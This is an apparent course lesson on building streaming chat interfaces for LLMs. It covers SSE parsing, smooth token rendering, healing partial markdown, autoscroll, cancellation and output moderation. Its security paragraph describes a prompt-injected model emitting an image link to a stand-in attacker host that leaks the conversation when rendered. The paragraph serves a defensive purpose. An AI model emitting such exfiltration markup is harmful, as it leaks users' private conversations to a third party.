Streaming UX (TTFT, Token-by-Token, Markdown Buffering)

Introduction

Two lessons ago you learned why streaming matters (L212: it collapses perceived latency from end-to-end down to TTFT), and last lesson you placed it as the highest-leverage tool in the perceived-latency toolkit (L224). This lesson is the how — the engineering and UX craft of actually rendering a token stream well.

The uncomfortable truth that defines this lesson: streaming done badly is worse than no streaming at all. A stream that stutters in ugly bursts, flashes literal **asterisks** and broken code blocks, yanks the user's scroll position around, and can't be stopped — feels more broken than a clean spinner. The win from streaming is real, but you only capture it if you handle the dozen sharp edges underneath it.

Here's the path a token takes, and every place it can go wrong:

model → transport (SSE) → client read loop → buffer → smooth render → markdown → the screen

In this lesson we walk that whole pipeline:

The streaming pipeline — SSE transport, the on-the-wire token shape, reading it on the client
Token-by-token rendering & the smoothness problem — why naive rendering janks, and the fix
Markdown buffering — the signature gotcha: why you can't render the raw buffer, and how to heal it
Autoscroll — stick-to-bottom without trapping the user
Cancellation, errors, resumability — the Stop button and what happens when the network drops
Streaming structured output — partial JSON is much harder than text
Streaming vs the output guardrail — you can't un-show a token

Scope: this is the front-end / rendering craft of streaming. The inference-side metrics that make streaming possible — TTFT, TPOT, KV cache, batching — were Inference & Latency (L207–L212). We'll lean on them but not re-derive them.

Infographic titled 'Streaming UX — TTFT, Token-by-Token, Markdown Buffering' from the Designing AI Product Experiences section. The big idea: streaming is the highest-leverage perceived-latency tool, but done naively it feels WORSE than no streaming — janky text and broken markdown. The centerpiece is a split screen showing the SAME partial token buffer rendered two ways. On the LEFT, NAIVE — feed the raw token buffer straight into the markdown renderer and it BREAKS mid-stream: a lone '**transformer' shows literal asterisks, an unclosed triple-backtick code fence leaks and swallows the rest of the layout, a half-built table shows as raw pipe characters, and an incomplete '[streaming docs](https:/' link prints as literal text. On the RIGHT, HEALED — the same buffer passed through a 'remend'-style closer (close the open fence, balance the dangling emphasis, hold back the half-built table and incomplete link) renders clean: real bold, a tidy code block, a real table, a real link. A token stream flows in from a MODEL chip through the transport (SSE deltas) into a BUFFER, with a 'first token = TTFT' flag. THREE cards summarize the craft: (1) TRANSPORT & SMOOTHNESS — stream over SSE, read with fetch + getReader + TextDecoder (EventSource can't POST or set headers), and DECOUPLE network arrival from render cadence: buffer tokens and drain at a smooth rate with requestAnimationFrame, or throttle UI updates to about every 30 to 50 milliseconds, so the text flows instead of stuttering; watch for proxy buffering (set X-Accel-Buffering off). (2) MARKDOWN BUFFERING — you cannot render the raw token buffer as markdown; heal the trailing incomplete syntax every token and memoize completed blocks so only the last block re-parses (turning quadratic re-parse into linear); never enable rehype-raw on model output (XSS and image-exfiltration), use a hardened renderer like Streamdown. (3) THE HARD EDGES — a Stop button is an AbortController whose signal must reach the provider call to stop billing (keep the partial answer); stick-to-bottom autoscroll that releases the instant the user scrolls up (use a ~2px threshold, not 50px); streaming structured output needs partial-JSON parsing (streamObject); and the streaming-versus-output-guardrail conflict — you can't un-show a token, so moderate in a buffered token window, which gives back some of the streaming latency win. Roadmap strip: latency as a feature (L224), streaming UX (L225), showing your work / citations (L226), defensive UX (L227), feedback UI (L228), multi-turn (L229), agent UX (L230). Takeaway banner: streaming collapses perceived latency to TTFT — but only if you render it well: smooth the cadence, heal the markdown, and handle stop, scroll, structure, and safety.

The Streaming Pipeline: From Token to Pixel

Streaming means the server sends each token the moment it's decoded, instead of buffering the whole response and sending it at the end. The near-universal transport is Server-Sent Events (SSE) — a long-lived HTTP response with Content-Type: text/event-stream, where each event is a data: line. It's plain unidirectional HTTP, so it sails through proxies and CDNs; you only reach for WebSockets when you need a truly bidirectional channel (e.g. live voice with barge-in).

The on-the-wire shape (worth knowing exactly, because you'll parse it):

OpenAI streams chat.completion.chunk objects; the text lives in choices[0].delta.content, and the stream ends with a literal data: [DONE] sentinel — which is not JSON, so you must special-case it before JSON.parse. (Token usage only comes if you pass stream_options:{include_usage:true}, in a final chunk with an empty choices array.)
Anthropic sends a typed event sequence: message_start → (content_block_start → many content_block_delta → content_block_stop) → message_delta → message_stop, interleaved with ping keepalives and possible error events. Text arrives as content_block_delta with a text_delta; tool-call arguments arrive as input_json_delta partial-JSON fragments. Two easy-to-miss traps: the message_delta usage.output_tokens is cumulative (don't sum it), and you must ignore unknown event types gracefully (the docs guarantee new ones may appear).

Reading it on the client is where most people reach for the wrong tool. The browser's built-in EventSource is GET-only and can't set headers or a body — useless for a POST with an Authorization header and a JSON prompt. So the standard pattern is fetch + a manual reader:

const res = await fetch('/api/chat', { method: 'POST', headers, body, signal });
const reader = res.body.getReader();
const decoder = new TextDecoder();
let buf = '';

while (true) {
  const { value, done } = await reader.read();
  if (done) break;
  // {stream:true} is essential — a multi-byte char (emoji, CJK) can split across two chunks
  buf += decoder.decode(value, { stream: true });

  const frames = buf.split('\n\n');   // SSE events are blank-line delimited
  buf = frames.pop() ?? '';           // KEEP the trailing partial frame — TCP cuts lines in half

  for (const f of frames) {
    if (!f.startsWith('data:')) continue;
    const data = f.slice(5).trim();
    if (data === '[DONE]') return;     // OpenAI sentinel — not JSON, special-case it
    const json = JSON.parse(data);
    onToken(json.choices?.[0]?.delta?.content ?? '');
  }
}

Two bugs hide in those eight lines, and both only show up in production:

Forget {stream:true} and you get mojibake (�) wherever a multi-byte character lands on a chunk boundary.
Forget to buffer the trailing partial frame (frames.pop()) and you get random JSON.parse errors under load, because a data: line gets split across two network reads.

And the classic "it streams on localhost but arrives all at once in prod" bug: a proxy or CDN is buffering the response. Fix it by sending X-Accel-Buffering: no (nginx) and disabling compression on the stream route. One more: SSE holds a connection open, and HTTP/1.1 caps ~6 connections per domain — serve over HTTP/2 so a few open streams (and other tabs) don't deadlock. Managed SDKs (the Vercel AI SDK's useChat/streamText) wrap this whole loop for you, which is the pragmatic default.

Token-by-Token Rendering — and the Smoothness Problem

You have tokens arriving. The naive move is to setState on every one and let React paint. Don't — it's the #1 cause of janky-feeling streams, for two reasons:

The re-render storm. Tokens arrive 30–100+ times a second; a setState per token re-renders (and re-diffs, and re-parses the markdown of) the whole message on every one. As the message and transcript grow, frame rate collapses — measured teardowns watch it fall to single-digit FPS.
Bursty arrival. The network doesn't deliver tokens evenly — it delivers them in clumps then pauses (TCP batching). So even if the model decodes at a steady rate, the text appears in ugly jerks.

The fix is the technique behind every smooth chat UI (ChatGPT-style): decouple network arrival from render cadence. Two independent clocks:

The producer (network) appends each incoming token to a buffer held in a ref — refs mutate without triggering a render.
The consumer (display) runs a requestAnimationFrame loop that, once per frame (~16ms), moves a small slice of the buffer into React state with a single setState — so React renders ~60×/sec at most, and the text flows at a smooth, constant, reading-paced speed instead of strobing.

const pending = useRef('');          // network writes here — no re-render
const [shown, setShown] = useState('');

// in the read loop:  pending.current += deltaText

useEffect(() => {                    // the consumer clock
  let raf = 0;
  const tick = () => {
    if (pending.current) {
      // adaptive: bigger backlog → reveal faster, so we never fall behind on bursts
      const n = Math.max(1, Math.ceil(pending.current.length / 8));
      setShown((s) => s + pending.current.slice(0, n));
      pending.current = pending.current.slice(n);
    }
    raf = requestAnimationFrame(tick);
  };
  raf = requestAnimationFrame(tick);
  return () => cancelAnimationFrame(raf);
}, []);

How fast should you drain? Faster than people read, but smoothly — reading speed is ~4–5 words/sec (~200–300 wpm), and a reveal around ~200 characters/sec feels premium without being slower than the model. Make it adaptive to the backlog (above) so that when generation finishes you catch up instead of trickling for 30 seconds.

If a full rAF drainer is more than you need, the simpler 80% solution is to throttle state updates to every ~30–50ms instead of every token — the Vercel AI SDK exposes exactly this as useChat({ experimental_throttle: 50 }). Below ~30ms is wasted work; above ~100ms looks choppy.

Two more rendering essentials:

Virtualize the transcript. The dominant cost in a long session isn't the streaming token — it's re-rendering hundreds of past messages. Window the list (e.g. react-window) so only on-screen messages mount.
Accessibility: put streamed text in an aria-live="polite" region, but don't announce per token — that makes screen readers stutter unusably. Mark it aria-busy while streaming and let the reader announce coherent chunks. (assertive is almost never right — it interrupts.)

Add a trailing cursor (a blinking ▌) while streaming and remove it on message_stop/[DONE] — it signals "still generating" and makes the smoothing read as intentional.

Markdown Buffering — Why You Can't Render the Raw Buffer

Here's the gotcha in the lesson's title, and the one that separates a polished AI product from a janky one. Models don't emit rendered text — they emit markdown, token by token. And a partial markdown string is, more often than not, invalid markdown. Feed buffer.slice(0, n) straight into your renderer every token and it visibly breaks. The failure modes, worst first:

Partial buffer (mid-stream)	What a naive renderer shows
The ```python … (no closing fence yet)	The catastrophe. The open ``` turns everything after it into a code block — the entire rest of the message flips into a grey `<pre>` until the closing fence finally arrives, then violently reflows.
`The transformer` (no closing ``)	literal asterisks: `The transformer` — then it snaps to bold when the `` lands (flicker)
`\| Model \| TTFT \|` + half a delimiter row	GFM needs the complete header + `\|---\|` row before it's a table — until then you see raw pipe characters
`[streaming docs](https:/` (link not closed)	literal `[streaming docs](https:/` printed as text, and a truncated URL that can render wrong
`$\int_0^1` (open math)	KaTeX/MathJax throws on the incomplete expression — common in AI chat

And there's a second, quieter failure that's just as bad: performance. If you re-parse the entire accumulated markdown string on every token, you're doing O(n²) work over the response — at token 2,000 you're re-parsing 2,000 tokens of markdown and re-mounting the whole React tree again. That causes flicker, lost text selection, lost focus, and scroll jumps — every token.

So you have two problems at once: correctness (partial syntax renders broken) and performance (re-parsing everything every token). The next section fixes both. First — see the breakage.

See It — The Markdown Streaming Lab

Same partial buffer, two renderers, side by side. Stream it out (or scrub the position), and use the jump-into-a-break chips to land exactly on each failure — the left pane breaks, the right stays clean:

**Type your own markdown, hit ▶ Stream, and watch the two panes split apart.** Both panes use the *real* `react-markdown` renderer on the **same** partial buffer. **Left (naive)** feeds the raw `buffer.slice(0, n)` straight in, so mid-stream it breaks: a lone `**` shows literal asterisks, an unclosed ` ``` ` fence swallows the layout, a half-built table renders as raw `|` pipes, and `[text](https:/…` prints as text. **Right (healed)** passes the same buffer through a `remend`-style closer first — close the open fence, balance the dangling emphasis, hold back the incomplete table/link — so it stays valid at *every* position. Use the **jump-into-a-break** chips to land the playhead exactly on each failure. The difference only ever appears *mid-stream* — which is precisely when your users are watching. (The heal here is a teaching-grade subset of what Streamdown's `remend` does.)

Notice the difference only exists mid-stream. When the buffer is complete the two panes match perfectly — which is exactly why this bug is so easy to miss in development (you test with complete strings) and so visible to users (who watch it assemble token by token). The healed pane never shows a broken state because it closes the trailing incomplete token before parsing. That's the technique we generalize next.

Fixing Markdown Streaming: Heal It, Then Memoize It

Two techniques, one for each problem.

1) Heal the markdown before parsing (fixes correctness). Detect unterminated constructs at the tail of the buffer and either close them or hold them back, so the parser always sees well-formed markdown:

An open code fence (odd number of ```) → append a temporary closing fence. Do this first — never balance emphasis inside a code block.
Dangling emphasis (**, *, `, ~~) → append the matching closer so partial bold still renders as bold (smoother than flashing asterisks).
An incomplete link/table at the tail → hold that block back until it's complete (render to the last safe boundary).

This is precisely what Vercel's Streamdown does under the name remend — "automatically detect and complete unterminated Markdown blocks." It must happen at the raw-string level, before parsing.

// (1) HEAL — a teaching-grade subset of Streamdown's `remend`
function heal(md: string): string {
  if ((md.match(/```/g)?.length ?? 0) % 2) return md + '\n```'; // close an open code fence FIRST
  let out = md.replace(/\[([^\]]*)\]\([^)]*$/, '$1');           // strip an incomplete trailing link
  for (const tok of ['**', '~~', '`'])                         // balance dangling inline emphasis
    if ((out.split(tok).length - 1) % 2) out += tok;
  return out;
}

// (2) MEMOIZE — split into blocks; only the LAST (changing) block re-parses → O(n²) becomes O(n)
const Block = memo(({ md }: { md: string }) => (
  <ReactMarkdown remarkPlugins={[remarkGfm]}>{md}</ReactMarkdown>
));

const blocks = marked.lexer(heal(buffer)).map((t) => t.raw);   // marked's fast lexer splits blocks
return blocks.map((b, i) => <Block key={i} md={b} />);          // blocks 0..n-1 are cached, never re-render

2) Memoize completed blocks (fixes performance). Split the buffer into block-level chunks (a fast lexer like marked.lexer does this), render each as a React.memo'd component keyed by index. As tokens stream, only the last block's string changes — so blocks 0…n-1 skip re-rendering entirely, and only the trailing paragraph re-parses. Quadratic work becomes linear, and completed text stops flickering / keeps its selection.

The library reality (2026): plain react-markdown + remark-gfm is the workhorse, but it does not handle partial markdown or memoization for you — you add both. Or use Streamdown (a drop-in react-markdown replacement built for streaming: remend for incomplete blocks, per-block memoization, plus Shiki/KaTeX/Mermaid and security hardening out of the box).

Security, non-negotiable: the markdown is generated by an LLM that may be prompt-injected. Never enable rehype-raw (raw HTML passthrough) on model output — it's an XSS hole. And block exfiltration images and javascript: links: a model told to "leak the conversation" can emit ![](https://attacker/?q=…) that fires on render. Streamdown's rehype-harden allowlists URL/image origins and shows a link-safety modal for exactly this. Treat rendered model markdown as untrusted input.

Autoscroll — Stick to the Bottom Without Trapping the User

Streaming text grows the page every token, so you need to keep the latest tokens in view — but the moment the user scrolls up to re-read something, you must stop yanking them back down. The rule:

At the bottom → auto-scroll to follow the stream.
User scrolls up → immediately stop auto-scrolling; show a "jump to latest" button.
User returns to bottom → resume sticking, hide the button.

It sounds trivial and is famously fiddly. The bug everyone ships first is a too-large "at bottom" threshold:

const NEAR_PX = 2; // NOT 50! a single trackpad tick is 10–40px — a 50px threshold
                   // keeps "is at bottom" TRUE and traps the user at the bottom mid-stream.

const atBottom = (el: HTMLElement) =>
  el.scrollHeight - el.scrollTop - el.clientHeight <= NEAR_PX;

let stick = true;
el.addEventListener('scroll', () => { stick = atBottom(el); }); // user scroll updates stickiness

// content grows each token → re-pin only while sticking (ResizeObserver, not a per-token scrollTo)
new ResizeObserver(() => { if (stick) el.scrollTop = el.scrollHeight; }).observe(content);

The subtleties that make it production-grade:

Use a ~2px threshold (or <= 1). With 50px, a single scroll-wheel notch never escapes the "near bottom" zone, so the user cannot scroll up while it streams — a real, shipped bug.
Distinguish the user's scroll from your own. Your programmatic scrollTop = scrollHeight fires the same scroll event — naively that re-asserts "at bottom" and creates a feedback loop. Libraries like use-stick-to-bottom solve this without debouncing (which would drop events) and use a ResizeObserver to re-pin as content grows, handling scroll-anchoring even where CSS overflow-anchor isn't supported.

Don't hand-roll this if you can avoid it — reach for a vetted stick-to-bottom hook. If you must build it, the 2px threshold and the user-vs-programmatic distinction are the two things to get right.

Stop, Errors, and Resumability

A real chat needs a Stop generating button — and it has to do more than hide text. Three things:

Abort the request with an AbortController whose signal is passed to fetch. Crucially, the abort must propagate all the way to the provider call, or you keep paying for tokens you'll never show.
Keep the partial answer. Users want to read what already arrived — mark it "stopped," offer continue/regenerate. Don't wipe it.
Clean up on unmount. Abort in your effect cleanup — this also tames React StrictMode, which mounts→unmounts→remounts in dev and will otherwise fire two concurrent streams.

const ctrl = new AbortController();
fetch('/api/chat', { signal: ctrl.signal, /* … */ }); // signal must reach the PROVIDER to stop billing

// Stop button:  ctrl.abort();   // tears down the stream — KEEP the partial text, mark it "stopped"

// abort on unmount (also prevents StrictMode's double-mount from opening two streams):
useEffect(() => () => ctrl.abort(), []);

try { /* read loop */ }
catch (e) {
  if (e.name === 'AbortError') return;   // user cancelled — not an error
  // real error mid-stream: keep the partial, surface a "retry / regenerate" affordance
}

Errors mid-stream are their own UX: the network can drop at token 400 of 800. Don't throw away the partial — show what you have plus a retry/regenerate action, and distinguish a user AbortError from a real failure.

Resumability is the emerging (2025–2026) best practice for the harder version of that problem: the user reloads the tab or loses connection while a long answer streams. By default the stream is lost — the server keeps generating but the client can't reconnect, because the server doesn't track what it already sent. The fix is to persist stream chunks (e.g. in Redis) keyed by a stream id, and have the client resume on mount (the AI SDK's useChat resume / consumeStream does a GET to replay the active stream). It's extra infrastructure — adopt it when long, expensive generations and flaky mobile connections make a lost stream genuinely costly.

Minimum bar for every streaming UI: a working Stop that actually cancels the upstream call and preserves the partial. Resumability is the next tier up.

Streaming Structured Output Is Harder

Streaming prose is forgiving — a half-sentence still reads. Streaming structured output (JSON for a tool call, a form, or a generated UI) is much harder, because partial JSON is invalid JSON: you can't JSON.parse {"title": "Hel — it throws. So you can't just parse-as-you-go.

Two things make it workable:

Partial/best-effort JSON parsing. Close the open braces, brackets, and strings to make the fragment parseable, then surface a deep-partial object whose fields fill in as they stream. The Vercel AI SDK packages this as streamObject / useObject: you give a Zod schema, and partialObjectStream emits the progressively-completing object (constrained to your schema). Don't hand-roll brace-counting if a library will do it.
Know that tool-call arguments stream this way too. Both OpenAI and Anthropic emit function/tool arguments as a stream of partial-JSON fragments (input_json_delta) — you concatenate the fragments and parse once the block stops, not per fragment.

And a judgment call: don't stream structured output when partial states are nonsense to the user. A half-rendered settings form or a flickering chart is worse than a skeleton that snaps to the finished result. Stream prose token-by-token; stream objects only when watching the fields fill in is genuinely useful (a generated UI, a long list) — otherwise buffer and show a skeleton (L224).

Streaming vs. the Output Guardrail — You Can't Un-Show a Token

Streaming has a fundamental tension with the output guardrail you added back in L222. An output check (moderation, PII redaction, jailbreak/leak detection) usually needs the whole response to judge it — but streaming shows tokens to the user before the full response exists. Once a token is on screen, you can't un-show it. So a naive stream can display something a full-response check would have blocked.

The mitigation patterns, cheapest-to-safest:

Buffered token-window moderation. Don't flush each token straight to the screen — moderate a rolling window of recent tokens first, then release. NVIDIA's NeMo Guardrails streaming mode does exactly this: a configurable chunk_size (200 tokens) with a context_size (50 tokens) of overlap. Bigger chunks give the rail more context (better for hallucination/leak checks) but add latency; smaller chunks are snappier but can miss a violation that spans chunks.
Sentence-level release. Group tokens into sentences and only release verified sentences — a clean "one-sentence offset" between generation, verification, and display.
Block-then-show for high-risk surfaces. Where the cost of leaking a bad token is high, don't stream — generate fully, check, then reveal. You trade the perceived-latency win for safety, deliberately.
Stream-first with retraction is possible (show optimistically, retract/replace on a failed check) but the UX of a message getting yanked or edited is jarring — use sparingly.

Be honest about the trade-off: every token you buffer for safety is perceived latency you give back. Streaming bought you a TTFT-fast feel; a moderation buffer spends a little of it. Choose the buffer size per surface — a casual chat can stream-first with a small window; a financial or medical surface may justify block-then-show. There's no free lunch, only a dial you set on purpose. (Even vendors note the caveat plainly: a blocked chunk's text "might have already been sent to the user.")

🧪 Try It Yourself

Work these through, using the Markdown Streaming Lab where it helps:

In the lab, click the mid-code-block chip. Explain in one sentence why the naive pane breaks so badly here — worse than the dangling-bold case.
Your chat streams smoothly on your laptop but users report it "arrives in big chunks all at once" in production. Name the two most likely culprits.
You render streamed markdown with react-markdown and it works in tests but flickers and feels slow in the live chat as answers get long. What two fixes do you apply?
A reviewer says "just JSON.parse the streamed tool-call arguments as they arrive." Why won't that work, and what does?
Your safety team requires every response to pass a moderation check, but product wants streaming. Describe a design that gives most of the streaming feel while still moderating — and state what you give up.

→ (1) An unclosed ``` code fence isn't a local break — it changes how everything after it is parsed: the open fence turns the entire rest of the buffer into one code block until the closing fence arrives, so the whole layout collapses (and then violently reflows). A dangling ** only mis-renders a few characters. (2) A proxy/CDN buffering the response (fix: X-Accel-Buffering: no + disable compression on the route), and/or batching all your setStates — but the lumpy-arrival symptom is classic proxy buffering. (3) Heal the trailing incomplete markdown before parsing (close the open fence, balance emphasis), and memoize block-by-block so only the last block re-parses (O(n²)→O(n)) — or switch to Streamdown. (4) Tool arguments stream as partial-JSON fragments (input_json_delta); {"city":"San Fr isn't valid JSON and throws. Concatenate the fragments and parse once the block stops (or use partial-JSON / streamObject). (5) Buffered-window moderation: stream, but flush through a rolling ~200-token window (with overlap) that's checked before display — or release sentence-by-sentence. You keep a near-streaming feel; you give up a small amount of perceived latency (a window/sentence of buffer) and accept some risk of a cross-window miss. High-risk surfaces fall back to block-then-show.

Mental-Model Corrections

"Streaming is just setState on every token." That's the janky version. Decouple arrival from render — buffer tokens and drain at a smooth, reading-paced cadence (rAF or ~30–50ms throttle).
"I can render the token buffer as markdown directly." No — a partial markdown buffer is usually invalid (unclosed fence/bold/link/table). Heal the trailing token before parsing, and memoize completed blocks.
"An unclosed ** and an unclosed ``` are equally minor." The code fence is catastrophic — it reformats everything after it, not just a few characters.
"Re-parsing the whole message each token is fine." It's O(n²) and causes flicker, lost selection, and scroll jumps. Block-memoize so only the last block re-parses.
"Auto-scroll to the bottom every token." Only while the user is at the bottom — and use a ~2px threshold, or a 50px one will trap them at the bottom.
"Stop just hides the text." Stop must abort the upstream request (you're billed otherwise) and keep the partial.
"Render model markdown like any markdown." It's untrusted, possibly-injected output — never rehype-raw; harden links/images against exfiltration.
"Stream structured output the same as prose." Partial JSON is invalid; use partial-JSON parsing (streamObject), or show a skeleton when partial states are nonsense.
"Streaming and my output guardrail compose for free." They fight: you can't un-show a token. Moderate a buffered window (and accept giving back a little perceived latency).

Key Takeaways

Streaming collapses perceived latency to TTFT — but only if you render it well. Done naively (janky cadence, broken markdown, no Stop) it feels worse than a clean spinner.
Transport: stream over SSE; read it with fetch + getReader + TextDecoder({stream:true}) (not EventSource); buffer the trailing partial frame; special-case [DONE]; watch for proxy buffering (X-Accel-Buffering: no) and use HTTP/2.
Smoothness: decouple network arrival from render cadence — buffer in a ref, drain at a reading-paced rate via rAF, or throttle to ~30–50ms (experimental_throttle). Virtualize long transcripts; aria-live="polite", not per-token.
Markdown buffering (the signature skill): you can't render the raw buffer — heal the trailing incomplete token (close the open fence first, balance emphasis, hold back half blocks), and memoize blocks so only the last re-parses (O(n²)→O(n)). Use Streamdown or add both to react-markdown. Never rehype-raw on model output; harden against image/link exfiltration.
The hard edges: Stop = AbortController that reaches the provider (keep the partial); stick-to-bottom with a ~2px threshold that releases on user scroll-up; structured output needs partial-JSON (streamObject); and the streaming × guardrail conflict — you can't un-show a token, so moderate a buffered window and accept giving back a little latency.
Next — L226: Showing Your Work — once the answer streams in beautifully, how do you make it trustworthy? Citations, sources, and surfacing the model's reasoning so users can verify what they're reading.